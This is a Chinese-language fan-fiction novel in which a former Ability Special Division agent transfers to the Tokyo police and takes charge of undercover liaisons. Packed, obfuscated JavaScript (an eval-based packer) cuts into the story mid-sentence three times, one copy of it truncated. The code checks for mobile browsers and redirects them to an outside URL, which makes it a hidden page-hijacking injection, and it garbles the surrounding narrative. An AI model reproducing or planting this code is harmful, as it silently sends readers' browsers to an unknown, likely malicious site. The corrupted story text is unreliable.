《社畜的我该如何拯救社畜的你》 1. 第一章 金曜日,横滨。 异能特务科的一间办公室内,气氛十分欢快。 “恭喜啊,渡边!” “恭喜!东京可是大城市啊!” 每一个嘴里说着恭喜的年轻人,都有着一双仿佛许久没有休息的无神的双眼和黑的和墨一样的黑眼圈。这些人嘴里说着恭喜,眼中的羡慕嫉妒却都要溢出来了。 … 渡边花梨嘴角带笑,礼貌的回应所有祝贺的话,对于同事们背后的黑色气场视而不见。 她回到自己的座位,桌面上的东西都已经收拾完了,只留下大片空白的桌面。所有的用品都被归纳在了一个小箱子里,这些都是这几年花梨自己添置的咖啡杯、盆栽一类的东西,属于异能特务科的东西她一样都没有带走,属于她自己的东西一样也没留下。 “恭喜啊,花梨。”跟刚刚的客套截然不同的声音响起。 花梨转过头,眼底挂着跟熊猫一样黑眼圈的前辈一脸复杂的看着自己,眼中有感慨、有欣慰。不过这好像都不太重要。 她迟疑了一下,语气变得凝重:“安吾前辈,你多久没睡了?” “没事,三天而已。”坂口安吾推了推眼镜,完全没有把自己糟糕的状态当回事。 在异能特务科,就要学会加班。 花梨颇为感慨:“前辈,要不你也申请调职吧?” “我会为异能特务科发光发热到最后一秒的。”坂口安吾摆摆手,“倒是你,去了东京,可不跟在这里一样了。公安是正经单位,可不能跟之前一样迟到早退了。” 花梨瘪了瘪嘴:“知道啦知道啦,前辈你好唠叨啊,我哪里迟到早退了,在特务科这么多年,我的上班记录是全勤好吧!” “我这一次可算是升职呢。”花梨暗示般的伸出手,晃了晃手指:“这次我的职位比前辈高了哦!” 说到这里,坂口安吾也很是感慨:“不到三十岁的警视啊——” 没想到他们异能特务科出去的人,能在公安拿到这么高的职位。毕竟他们的岗位算是暗中的付出,默默无闻也是很正常的。 他都做好准备将来同事殉职只能偷偷摸摸的在没有名字的墓碑前献上一束花了呢。 “渡边警视,恭喜了!” 花梨露出一个格外开心的笑容:“谢谢安吾前辈!” 花梨哼着歌,搬着自己的东西离开了办公室,她今天来是走调职的最后的手续,把留在异能特务科的一切权限都消除,她把ID卡留在了前台。 从今天开始,她就不再是异能特务科的一员了,异能特务科虽然不会消除她的档案,但是也会把这些资料永久封存,只有特务科长官才有权利查看。 离开异能特务科的红砖小楼,花梨抬头看了一眼头顶的天空,碧蓝色的天万里无云,微微带着咸味的海风从远处吹来,她的思维忍不住跑偏——东京的天气会有横滨这么好吗? 算了算了,先不想这些了,难得什么事情都没有的周六日,要好好享受才行。 周六早上,花梨睁开眼睛的时候已经十一点了,她幽魂一般的飘到卫生间洗漱,然后飘到厨房,拿了点牛奶出来。 开玩笑的,打工人哪有休息,享受也只不过是睡个懒觉。 吃了个不知道是早饭还是午饭的饭,她开始收拾东西。既然要在东京上班,那这里也不能住了,还好她当年入职的时候就决定了这破工作迟早要换,现在的房子是按年份租的,退起来也比较方便。 在东京的房子早就看好了,今天只需要把东西搬过去。 大型家具都是出租屋的,她只需要收拾属于自己的那部分。 叫了搬家公司之后,花梨随身带好了各种证件,只带了一个小包,坐上了前往东京的车。从横滨到东京很近,但是上班这几年她却基本没去过。 新房东人不错,知道她今天搬家,在跟花梨约好的时间前就已经到了,把注意事项都说了清楚。无非就是邻里情况、不能养宠物、不能在屋子里开趴这些,花梨养自己都费劲,社交更是少得可怜,这些都嗯嗯啊啊的糊弄过去了。 不过花梨一直觉得,这个比较好的态度并不是因为其他,而是她付钱的速度够快。虽然早知道东京的房价比较贵,但是在最开始找房子的时候,花梨还是被那个价格吓了一跳,东挑西选找了很久,她才找到了一个距离上班地点的交通时间限制在三十分钟内的低价房子。 和房东签订合同之后,她一口气付清了四十万,房东可能是觉得她这样的付钱快的人很少见,又十分大方的把月租降到了九万。这样下来,她一年在住房上的开销能控制在一百万内,以她之前的存款和之后的薪资,可以过得非常的舒适了。 畅想完美好的未来,接下来就是遍地狼藉的现状了,一直到晚上十点,花梨才基本收拾完,捂着咕噜咕噜的肚子,飘到楼下的便利店买了点吃的囫囵吃掉。 第二天又是购置日常用品,忙活了两天,总算是在东京定居下来。 晚上,花梨躺在铺了好几层软乎乎的床上,久违的心情有些复杂。 自己的职务是警视,这放在非职业组,已经是十分恐怖的升职速度了,毕竟她当年只是上完了大学,就被特招进了异能特务科,并没有进入警察学校学习。 而且警视放在平常的警察局里,已经是局长的地位了,但是这里是警察厅。 她知道这有警察厅画饼的缘故,但是这个职位确实是给的太高了,有点为了挖人破罐子破摔的感觉。 而且她到现在还不知道要干什么呢,警察厅的工作和异能特务科还是有点区别的吧? 早上七点,花梨按时在床上睁开眼睛,粗略的吃了点面包牛奶当作早餐,就踏上了上班的道路。 ——你不能对周一早上的东京抱有什么信心。 在差点被挤成饼饼之后,花梨终于艰难的到了霞关,眼看着还有二十分钟,她也顾不上别的了,拔腿就跑。 赶在八点之前,花梨扶着膝盖,站在了警备企划课的负责人办公室前。 “您好,我是今天来报道的渡边花梨。”花梨艰难的喘着气,她的体能虽然不错,但是在一大早狂奔十分钟,也有些微喘,最重要的时候刚刚吃下去的早饭现在开始在胃里造反了。 一只手用力的按压,强忍着不适,花梨填完了前台的登记。 警备局……好空,每个办公室都空荡荡的,偶尔能看到一个人急匆匆的走过。 花梨试探着敲了敲门,听到里面传来的声音之后在放心的推开门。 “您好。” 警备局理事官办公室。 警备局理事官是个十分威严的上司,姓神城,黑色短发,跟种田长官比起来身材好了不少,最重要的是头发浓密,花梨不太能判断出他的年纪,但是到了这个位置,保守估计不小于四十岁。 花梨还是知道在日本社会职场利益的重要性的,哪怕心里想了一堆跟礼貌没关系的事情,她表面上还是恭恭敬敬的打了招呼。 “渡边警视,初次见面,希望以后能好好相处。”威严的声音响起。 “是。”花梨站直了身体,警备局真是好严肃的氛围,长官也和异能特务科不一样,她有点紧张了。 神城看到她绷直的身体,不免露出一个宽慰的笑:“不用那么紧张,渡边警视也是青年才俊,我希望能看到你在这个职位充分发挥自己的才能,为国家带来安定。” 说道这里,花梨突然想起来一个问题。 “抱歉,之前调职的时候,似乎并没有提到我的工作内容,还有这个警视的职衔……”这种挖墙脚的行为,哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211124|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在同一个体系中,也是要被人诟病的。 “我对异能特务科不太熟悉,但是我知道你们平时面对的是比警察厅更复杂的情况,每一个异能特务科的人员都是精英,所以我认为,这个职位并不高。”神城长官放松了表情之后,语气也变得和蔼。 花梨茫然的眨了眨眼睛,她其实不是觉得自己的职衔有什么问题,只不过,大部分情况下,你所认为的幸运,其实已经暗中制定好了价格。 她这个人跟【幸运】这个词从来是没有关系的。 “我想知道的是,我将来的工作单位是什么?”花梨又强调了一下。 “警备企划课。” 花梨心中大惊,但面上只是微微皱眉:“警备企划课?我以为会是警备情报科,毕竟以我的履历,情报工作更适合我。” 神城摇了摇头:“我没有看过你的履历,异能特务科的记录哪怕是我也没有办法查看,我之所以希望你进入警备企划课,是因为警备企划课需要你。” 他从办公桌的桌面上拿出了一个牛皮纸袋,往前推了推:“看看吧,这就是你之后的工作。” 花梨狐疑的看了一眼桌子上的文件,没毛病,越机密的文件,越是用最古老的方式保管,但是她怎么总是有一种不好的预感呢? 但是事已至此,她只能伸出手拿起了文件。 五分钟之后,完成速读的花梨放下了文件——她就知道,她的直觉一向很准的! 文件中是关于一个代号是‘黑衣组织’的组织的情报,神城长官之所以想让她进入警备企划课,是因为这个组织有一个专门的项目组负责,里面的人员是由公安和警备局的人构成的,这些人独立在两个部门的体系之外,专门负责这个项目。 “零组” 花梨面对新的长官,一脸苦瓜相:“长官,我是不是应该先介绍一下我自己的情况啊?我怎么觉得我很不适合这个工作啊。” “我之前说过了,我对异能特务科的内部情报知道的很少,但是我知道你的一部分功绩,五年,你参与了对十个大大小小的组织的清缴工作,是整个异能特务科中,参与项目最多的人。横滨的□□势力比东京猖獗,虽然这句话不应该由我来说出,但某种意义上来说,那些老派的黑手党所谓的道义给我们减轻了不少的麻烦。” 花梨:…… “那是因为最难的那部分被前辈拿走了啊,除了港口黑手党,其他的就算是再来十几个也不是问题啊!” “放心吧,零组里都是公安的精英,他们会好好配合你的。” 花梨叹了口气,她当然知道这件事没有余地了,刚刚只不过是一些安慰自己的努力罢了,她端正了神色,语气也变得严肃起来:“我刚刚看到了,这个组织很久之前就盘踞在日本的土地上,公安曾多次派出卧底,但是往往以失败告终。说句冒犯的话,这个效率作为对比的话,长官你应该也不期待我的效率吧?” 这个说法已经不是有些冒犯了,简直是在侮辱过去卧底殉职的警察,神城长官脸上闪过一丝不悦,但是很快反应过来,在自己的长官面前说这种话,哪怕是再怎么桀骜不驯的下属也不会这么做的。 “也许你能说的更清楚一点?” 花梨自暴自弃般:“简单来说,我大学毕业就被吸纳进异能特务科是因为我的异能力,但是这个异能力有一个限制。” 渡边花梨是异能力者这件事,神城还真的不知道。之前就说过了,异能特务科的所有人的情报都是机密,但是如果是异能力者的话,五年摧毁十个组织这种效率似乎也正常了。 “我的能力,需要我不那么的努力工作,简单来说,我之后上班可以摸鱼吗?”花梨尽量的让自己目光真诚,不像是一个刚入职就要升职加薪放假的混蛋新人。 神城:? 2. 第二章 神城听了花梨的话之后,表情十分的复杂,首先,他是没想到花梨会如此直白的告诉他自己是异能力者,至少,她虽然嘴上说着工作困难,但是确实是打算全力以赴的。这至少让他有了一丝宽慰,他没有找错人。 异能力者不会轻易把自己的能力告诉其他人,如果被掌握了弱点,那异能力者跟普通人也没什么两样。 神城在邀请渡边花梨来到东京的时候,就已经做好这个心理准备了:异能特务科人才济济,渡边如此年轻就有这这样的履历,有很大的可能是异能力者。 这种在异能特务科挖角、还是挖了稀有的异能力者的行为,实在是过于大胆。 但是神城并不打算像他的前辈一样在这个职位上庸庸碌碌到死,他有着自己的野心。 他需要人才,而他也知道,异能特务科的工作危险、工作强度大、甚至殉职后连记录都未必留下,在这种情况下,很少有人愿意一辈子留在异能特务科。如果自己能疏通上面,一定会有人愿意转职的。 最后证明了,渡边就是这个人! 他们两个算是一拍即合,神城也没想到,自己刚表达了这方面的意愿,渡边就毫不犹豫表示了同意。 “其实我也没想到我这样的人会被挖角,毕竟异能特务科里有能力有资历,你要是真邀请,会有大把的人同意跳槽的。”说这句话的时候,花梨的表情出乎意料的平静、平静中还透着一丝认真。 神城也被她搞无语了:……异能特务科到底加班到了什么程度啊。 “不过我其实不太了解警察厅的工作啦,所以可能需要先适应一下?”花梨很委婉的表达了一下自己之前接触过的工作都不怎么正常,她可能不太会做这种正常的工作。 至少要先给上司一个暗示,之后做的达不到他要求的也有理由了。 “按照你自己的节奏来吧。”神城出乎意料的放心她的能力,十分大度的把权利放给了她。 就这样,花梨拿到了厚厚的一摞纸质资料,前往警备企划课任职,她现阶段的工作并非是加入某个组,警视这个职衔已经够成为一个专门方向的负责人了,可花梨在警备企划科是调查官。 从今天开始,零组的一切事务都交给她。 空降下来就做部门负责人,花梨觉得亚历山大,虽然不是警备企划科内专门的情报或者反间谍调查的部门,但是专职卧底的工作要更加危险。她并不介意坦诚自己的异能,毕竟她的异能在别人看来是一个完全辅助用的异能,不会对其他人产生任何危害,对于部门也没有威胁。 简单来说,这是一个偶尔有用、偶尔没用,但是十分适合花梨坦白说出去之后换区信任的能力。 毕竟众所周知,异能力者顶多在使用能力的时候会交代能力的名字,具体效果都是私密的,更有甚者,如同她的前辈坂口安吾,那个能力应该只有长官种田山头火知道——毕竟这种可能会威胁到上司的能力,谁都不愿意见到。 甩去杂念,觉得新的工作单位的开局还算不错的花梨脚步轻松了些许。 警备企划课好啊!至少安全! 国际恐怖主义什么的,总比在异能大战结束之后以日本特务科的名义去平衡异能力者安全啊! 警备企划科单独占据了一整层,大部分房门都紧闭着,只有寥寥数人在走廊里穿梭着,看到花梨这张陌生的脸愣了一下之后,又开始继续手头的事情。 顺着指引找到了自己的办公室,用id卡刷开房门,一个十叠大小的房间出现在眼前,房间内有一张硕大的办公桌,上面配备了两台专业的电脑,一侧的墙壁是落地的保险柜,透过玻璃能看到里面成叠的纸质资料。 花梨知道,真正重要的资料是不会被放在这里的,放在这里的档案只不过为了让自己顺利的交接工作。 她刚坐到椅子上打开电脑,就有人敲响了房门,一个剃着板寸的青年进来了。 “您好,您就是新来的长官吗!我是丸目阳太!”上扬的声音昭示着他的激动,看上去就很像个愣头青,哪有人对空降这么热情的。 花梨看着这个青年,目光落在他空荡荡的后面,长叹一口气:“不会就只有你一个人吧?” 这人看上去也就刚毕业,老员工呢? 丸目尴尬的挠了挠头:“大家都在工作,剩下的我也不太清楚,平时只有我和几个同事在这里负责统筹调度。我是被安排过来帮助您交接工作的,接下来一段时间请多指教!” 花梨点了点头,这种特殊的组,确实行动上会更自由一些,甚至人员构成上也更自由一些,除了负责人本人,可能其他人都不知道到底有多少人在这个零组里。 “之前零组的负责人在哪里?我需要他手头的资料。” 花梨那份资料是不能离开警备课的长官的办公室的,而且上面的资料也只是写了卧底人员的代号,并没有联系方式。 这种卧底进去的警察,只有一个联系人。这个联系人将会在他们卧底的时间段里超越其他所有的关系成为卧底最信任的人。 所以一旦联络员出事,很有可能卧底会被留在组织里,失去下落;即使侥幸逃脱,也会因为卧底期间的行踪不明而遭到怀疑。 “这个资料要用您的权限登录才能看到,纸质档案目前都已经封存了。”丸目阳太摇了摇头,“具体的情况不是我的等级能知道的,您可以询问神城长官。” 花梨看向他:“封存?” 这个丸目阳太看上去也是个新人,但是却被扔过来给自己当副手,是因为其他的调查组那里太忙了没有时间应付她这个新负责人吗? 她漫不经心的在警察厅的系统里登录自己的账号,浏览着上面正在由她接手、或者负责人即将转变成她的项目。 她点出了几个正在进行的任务:“……这几个,通知他们把卧底成员的联络方式给我,从明天开始,想办法通知到卧底,他们的联络员更换了。” 丸目阳太大惊,他知道警备企划科新来了一个空降的长官,之前心里还在打鼓;看到长官的脸之后,心里的鼓已经变成了踢踏舞;到了现在,他心脏都要跳出来了。 “等等,长官,这是不是太突然了?” 她用怀疑的眼神看了一眼丸目阳太,刚刚平易近人的语气突然变得强硬:“我能保证无论什么情况下我都不会出现失误,普通的联络员可以吗?而且, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211125|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是通知。” 她在神城给她的那份资料里见过目前在外卧底的公安成员名单,每一个卧底人员都是配备专门的联络员的,这些联络员大部分都有另外的身份。 花梨当然知道,负责人直接作为联络员是闻所未闻的。卧底这种高危项目,专人专事的处理方式才是最保险的。 最重要的是,联络员的身份是经得起调查的,即使顺着卧底查到了联络员身上,也未必会发现不妥。 但问题是,太慢了! 从卧底的情报传递到联络员手里,再到她的手里;她给出命令,经过联络员再到卧底手里。 多一层消息传递,就多一层风险和不确定性。 死亡、背叛、假情报,三个人加起来至少能出现十几种毁掉整个卧底事业的失误。 虽然刚刚跟神城长官的话都很谦虚,但是花梨在异能特务科的经历决定了她是个实干主义。 她没有必要跟丸目阳太或者其他的人解释异能的事情,隔着一层联络员,她的异能没有办法充分的发挥,必须要让那些肩负重大任务的卧底跟她产生直接的关系,这个不怎么受她控制的异能才能作用到他们身上, “但是,但是还从来没有长官作为联络员的情况啊。”丸目阳太结巴的试图找出理由反驳。 零组负责人的担子很重,每天有数不清的事务等着她去做,而联络员是一个需要二十四小时都准备着的工作,两个工作是完全冲突的啊。 花梨拍了拍丸目阳太的肩膀,在一旁的椅子上坐下,从椅子上盯着他:“你说的没错,所以接下来,文书工作都交给你了。” “啊?”丸目阳太要跳起来了,新的长官从见面的第一句话开始,就出乎了他的意料,到现在为止,他的大脑已经转不过来了。 什么叫做,文书工作就交给他了? 啊,这都在说什么啊! 花梨把一旁堆叠的文件拿起来,随手翻了一眼,轻哼了一声,不知为何,丸目总觉得从这一声里听出了一丝嘲讽。 “所以说,在瓦解一个组织上面,有时候几个人的能力比一堆人的努力都有效。” “现在,把他的联系方式给我。”花梨坐在座位上,仰头看着丸目阳太,明明是下位的视角,丸目阳太却总感觉有无形的压力压在了他身上,被那双琥珀色的眼睛盯着,他想不出任何解释的话语。 汗珠从丸目阳太的额角滚落,虽然不是第一次和长官相处,但是正常的长官和这种一看就是年纪小能力强的天才型长官,给人的压力完全不同啊! 他的声音有些没底气:“渡边长官——” 花梨露出一个微笑:“我说了,接下来我作为所有卧底的联络员,与他们单线联络,零组其他的事务,交给你们负责。” “我的宝贵时间不是用来写报告、写报账单、写情况说明的。” 哈!去死吧狗屎文书工作! 丸目阳太四肢僵硬:“联络员的联系方式只有一位前辈知道,我去把前辈叫过来。” 花梨接过手机,给了丸目阳太一个温和的笑,温柔的仿佛东京四月飘落的樱花:“好的,丸目,你现在可以去做别的工作了。” 3. 第三章 化名为安室透的降谷零开始怀疑警察厅是不是进组织的卧底了。 他今天收到了联络员的消息,暗号转成日语之后只有一句话——他的联络员要换了? 换人?这是日语吗? 哪有卧底突然换联络员的? 是警备企划课疯了,还是他疯了? 这种不就是教科书式的卧底暴露了吗? 当年培训的时候可是说过的,如果在没有出现紧急情况的前提下,联络员突然换人了,很有可能是卧底已经暴露。 紫色的瞳孔阴沉下来,降谷零已经提起了十成十的警惕心。早在成为卧底的时候,他就做好了一切的准备。 卧底被发现,当务之急是先确认,组织到底发现到什么程度了。 是只是单纯的怀疑,并不知道他是谁;还是已经确定了他的身份? 如果是后者的话,那跟他一起在这个组织里卧底的景不会也…… 来不及多想,他知道自己现在不能慌乱,最好的处理措施是先当没有看到这条消息。 做一个假设,如果组织只是查到了他的联络人,但是联络人那里的通讯应该没有暴露他的身份,所以对方还不知道他是组织里的哪一个人。 这种情况下,他需要做的就是维持原样,不能被对方的行为诈出来。 但是如果真的已经全部都发现了,那就要考虑到最糟糕的情况了。 不过,如果真的发现他是卧底的话,应该不会发过来这样一条消息,而是直接发动组织里的人追捕他才对! 降谷零想了想这两年来为了渗透进组织所做的努力——赌一把吧! 就这样,收到这条消息之后,安室透一边按照原有的生活节奏,不留痕迹的做着一些撤离的准备,一边按照约定的时间,上一个任务的指派人发去了消息。 虽然这个时候撤离很不甘心,但是至少要把已经拿到的情报送回去。 唯一的好消息就是,他作为一个以情报精通为敲门砖的人,组织里平时跟他保持联络的人不少,他发展的下线也不少,跟人保持联络是他的日常生活。 下线那里都没问题,上一个任务也没有问题。 需要他提供情报的组织其他的人也没有怪异的反应。 仿佛什么都没有发生一样。 一天就在提心吊胆中过去了。 晚上凌晨三点,躺在床上,降谷零确定了,对方还不知道他是谁,只是他的下线被找到了。 虽然不知道对方是怎么做到的,但是——降谷零眼中划过一丝不易察觉的悲伤,这就是身为卧底必然要精力的。 抱歉了,八田,可能要很多年后,才能在你的墓碑前奉上一捧花了。 降谷零压下心底的悲伤,更加坚定了铲除黑衣组织的决心!他又爬了起来,埋头进各种情报资料当中,试图从中抓到漏洞。 此时,有一个人正在跟他一样,熬夜奋战,这是丸目在离开学校之后,第一次体会到什么是真正的‘挑灯夜读’。 凌晨三点,放下笔,他看了一眼窗外,只感觉眼前一片漆黑。 天啊,虽然他理解为了保密原则,这种情报都是靠纸质资料保存的,但是他感觉自己整个国中高中期间都没有写过这么多的字。 另一边,花梨在给这位不知名的卧底先生发完消息之后,就选择了躺平。 ——拜托,卧底又不是男朋友,那可能有时间秒回啊,消息回复的慢都是正常现象。 ——不回消息?不回消息她正好不用工作啊,多好。 ——已读不回是好文明! 接下来的一段时间,花梨就每天悠闲的来零组上班,看看之前的情报——主要还是失败案例,因为现在的卧底先生,还在卧底的初级阶段,这个阶段默认是不往出传递什么重要的消息的,以免没有接近核心就被发现。 这种庞大的组织,卧底的时间可能要按照年来论,说起来,要不是公安已经安排了人进去,花梨甚至觉得自己最合适了! 卧底!她的天选职业! 根据她的异能的逻辑进行分析,只要她在卧底组织中足够摸鱼,那么她应该会获得卧底组织中事业上的进步,而她在卧底的过程中,完全不进行任何与公安这边的联系,那何尝不是一种对于公安的工作的摸鱼! 果然!她就是这个世界上的天选摸鱼人啊! 花梨一边感慨,一边从办公室的抽屉里摸出了平板,换工作之后的第一个周末,要好好想一下去哪里! 是逛街、还是逛超市呢? 家里的零食一直没有买,这周她也是在办公的地方吃的食堂,虽然零组的伙食不错,但是人在办公室吃饭,就有一种从来都没有下班的感觉。 正常的工作就是一定要有效的区分生活和工作,第一步就是禁止混淆吃饭和工作的区域。 虽然忙起来的时候,她只能过这种私人时间和工作时间混在一起的生活,但是花梨是享受生活党,这种苦日子也就只有工作忙的时候才会过。 好不容易离开横滨,她一定要过正常人的日子! “渡边小姐!” 花梨正在琢磨着下班去尝尝东京的美食,就被一个声音叫醒了。 “是你啊,丸目阳太,有什么事吗?”花梨看着满脸汗跑过来的丸目阳太,脸上露出完美的笑容,不动声色的把刚刚搜索的美食打卡界面关掉。 自己之前认为丸目阳太和安吾前辈很像,果然是个错觉,安吾前辈不管什么时候都能不动如山,绝对不会这么咋咋呼呼的。 果然,社畜也是要分成熟的社畜和青涩的社畜的,明明年纪看上去都差不多的。 安吾前辈这种陈年老社畜的气息,恐怕她(在这个年龄段的人中)很难再见到了吧。 “渡边小姐,是这样的,我已经把这些年来所有的关于黑衣组织的情报都整理好了,还有关于降谷先生卧底的一些资料。”丸目阳太抹了一把汗,正直的脸上闪过一丝紧张。 花梨瞪大了眼睛:“卧底资料你还留档?” 是她疯了还是丸目阳太疯了。 “这——”丸目阳太被她的反应吓到了,“可是您上次不是说过,要把之前的事情都跟您汇报一下吗?” “所以我说的是汇报啊,不是写文件,你跟我口头汇报不就好了!” “算了算了,只有一份纸质文件是吧?先给我吧,看完我会处理的。” 花梨看了一眼距离下班时间还有二十分钟的表,长长的叹了一口气,加班呗,还能怎么样! 最后花梨用了两个小时,看完了这份厚厚的纸质文件,直接把所有的文件都扔到了碎纸机里,不仅扔到了碎纸机,还把所有的残骸都拿了出来,二次毁尸灭迹。 把所有的灰都倒到垃圾筒里之后,花梨拍了拍手,呼出一口浊气。 那个卧底到黑衣组织的人的上一个联络员代号八田,因为任务突然终止,现在正在走身份洗白的流程,预计在半年后就能重新回到这里上班。 “好棒!今天也在八点之前下班了呢!” 八点的东京夜生活才刚刚开始,完全不耽误她出去玩耍! 回到出租屋,她把身上的正装换掉,找了一条之前在横滨的时候买的小裙子,风格看上去就很成熟,往身上一套,谁能看出来花梨的年纪其实跟大学生差不多。 东京夜晚霓虹灯闪烁,到处都是夜晚出来找乐子的人,当然也有穿着一身不怎么合体的西装匆匆而过的加班之后的打工人。 花梨来到早就查好的店的时候,已经将近九点了,店里的气氛正热,几个大桌上面还都坐满了人,看上去是在进行联谊。 她其实只有偶尔十分心累的时候才会喜欢这种氛围,平时会觉得太吵了。 但是大的加班结束之后这种气氛刚刚好! “老板!我听说你这里有特色的樱花酒!”花梨有些激动的举起手招呼老板。 一个温和充满磁性的声音从身后传来:“樱花酒是季节特供,现在的话,可能只有菊花酒了。” “诶?”花梨听到声音,回过头,笑容温和的青年正托着腮看着她。 “嗯……那个之前处理炸弹的警官?”花梨有些意外,狐狸一样的眼睛都瞪圆了,因为眼前的这个人她是见过的,在之前的一场案件中。 “好吧,看来我的名字被忘记了,真让人伤心。”爆破物处理班的萩原警官做出了西子捧心状,配上了独家的泫然欲泣的表情。 坐在他对面的松田阵平从鼻腔里哼出一声,算是对他的嘲笑。 “啊,松田警官也在!”这下花梨是真的感觉震惊了,因为这头卷卷的黑色的头发,还是很眼熟的!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211126|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不是吧,坂本小姐,你都记得住小阵平,却把我忘了?”萩原研二看起来更伤心了,这张美人脸配上伤心欲绝的表情,颇能激起其他人心中的同情。 可惜了,花梨莫得感情。 她有些尴尬的挠了挠头,眼睛四处瞟,就是不看那双温润的桃花眼:“因为松田警官的名字很好记啊……”跟车一样。 因为某些原因,她对车还挺了解的,在异能特务科工作这几年的存款也够购入一辆差不多的车子,但是在横滨——买车子不如买保险! “而且,我的名字也不叫坂本。” 萩原研二更震惊了,这简直是对他专业性的挑战:“不是吧,我从来不会记错女孩子的名字的。” 松田笑得更大声了。 花梨看着天花板,有些尴尬:“因为我当时用的是假名啊。” 这下松田也来了兴致,从刚刚懒洋洋的状态支棱了起来:“假名?但是你不是神奈川警局的吗?” “嗯……也许这个也不是呢?” “冒充警察可是大罪!”松田阵平的表情严肃了起来,身体一下子就坐直了,花梨看着他仿佛都要掏手铐了。 “这个是有原因的啦,总之都是官方程序,官方程序。”花梨厚着脸皮,毕竟异能特务科的经历也不能说出去,当时她的证件也确实是真的:“我的名字是渡边花梨,这次是真的了。” 这两位小哥都是警方内部的人员,她已经完全跟横滨的工作切割了,所以这个时候报上真名也无所谓。 “那,之前那场连环爆炸案的犯人你们抓到了吗?”松田阵平之所以这么上心,是因为有自己好奇的事情。 花梨看着他,想起了之前的那场案子,说是连环爆炸案,其实并不严谨,因为犯案人员是异能力者,花梨当时代表了异能特务科去抓人,哪想到东京的□□处理班已经派了精英警员出来解决这个案子。 拜托!异能力的炸弹,哪里是普通警察拆的掉的! 她当时为了隐藏身份,只能说是神奈川的警察——反正神奈川的警局也不敢对横滨的异能特务科说什么。 “抓到了抓到了。”花梨心里捏了把汗,怎么运气这么不好嘞,出个门吃饭,还能遇到同事。 拜托啊!吃饭的时候能不能不要提这些倒胃口的东西啊! 她知道这两个警察是在怀疑她,连忙说道:“对了,我现在调职到了警备局,大家之后也算同事了?” 警备局? 松田阵平和萩原研二对视了一眼,怎么会是警备局? 这个回答确实打消了他们的疑惑,因为冒充小地方的警察还有可能,警备局却是完全不可能了,这可是整个日本警察的核心! “哪个科?” “警备企划课。”花梨也没当回事,反正大家都是同事,她现在也不从事保密工作了,没有什么需要注意的。 哦,主要还是因为都是同事。 至于零组的事情,整个警备企划科内都有好多人不知道。 这种顶级机密事项,只有参与者是知道的,甚至参与者之间都不认识。 “哦哦!厉害啊!”萩原研二毫不吝啬惊讶与夸奖。 毕竟警察厅和警视厅不一样,中央机关的职衔虽然升的慢,但是掩藏级别是要高上一些的。 最关键的是,中央难进啊!更别说是渡边这种从地方调到中央的。 花梨不好意思的用杯子掩住脸,却挡不住勾起的嘴角:“哪里那里,上司赏识罢了。” 松田阵平轻笑一声,看出了花梨的不自在:“怎么突然变成工作应酬了?不是出来喝酒的吗?” “是我的错,那我先干为敬!”萩原研二也不客气。 既然是认识的,老板也就自然让他们坐在了同一桌。 刚刚花梨进来的时候,老板还挺意外的,居酒屋这种地方,很少有单身女性独自前来的,结果没想到她和常来的两位警官是认识的。 这就合理了嘛。 挺着啤酒肚的老板笑眯眯的如同弥勒佛一般,送过来一小壶菊花酒:“这位警官是第一次来我们店吧,这一壶酒就算我请的,来尝尝吧,这可是我们的特色。” 哇喔,好会做生意的老板。 花梨心里感慨,脸上的笑容却越发真实了:“真是太谢谢老板了!” 4. 第四章 酒过三巡,许久没有喝过酒的花梨毫不意外的红了脸。 白瓷酒杯在她的手中晃了晃,金黄色的酒液落在白皙的手背上,花梨费劲的抬了抬眼皮,从边上抽了张纸擦掉。 同样是没少喝,萩原研二和松田阵平却仿佛没事人一样。 看她这幅样子,松田阵平嘲笑道:“你就这么点酒量,还敢自己出来喝酒?” 东京治安虽然好,但是单身女性喝到半夜,还是有危险的。 花梨觉得脑袋懵懵的,听到松田阵平的质疑之后,她愤愤的敲了敲桌子:“说什么呢!我好歹也是个警察,你这种的我一打三!” 萩原研二欲哭无泪:“渡边,就算是强调,也不用真的打上来啊!” 刚刚花梨敲的根本不是桌子,而是他的脑袋! 他错了,他看花梨喝的那么豪迈,以为不会出问题的,谁知道三杯酒下去,对方就成了这个样子。 “嗯?怎么了?”花梨茫然。 松田阵平无奈叹气:“你这个酒量,下次还是不要自己出来喝酒了吧。” “不不不!”花梨摇了摇手指,“我早就打探好了,这家店不仅有附近最好的酒,还因为在樱田门附近,里面都是身份有保证的常客,再安全不过了!” 而且,就算是东京再怎么不安全,肯定也是比横滨好的! 诶? 萩原研二和松田阵平对视了一眼,看到了彼此眼中的惊讶。 这地方经常有警察出没没错,但是附近这么多的政府部门和商业店铺,精致找到警视厅的警察们喜欢聚餐的店可就没有那么容易了,以日本人的社交模式——她不是才刚调职吗?怎么就对东京这么熟悉了? 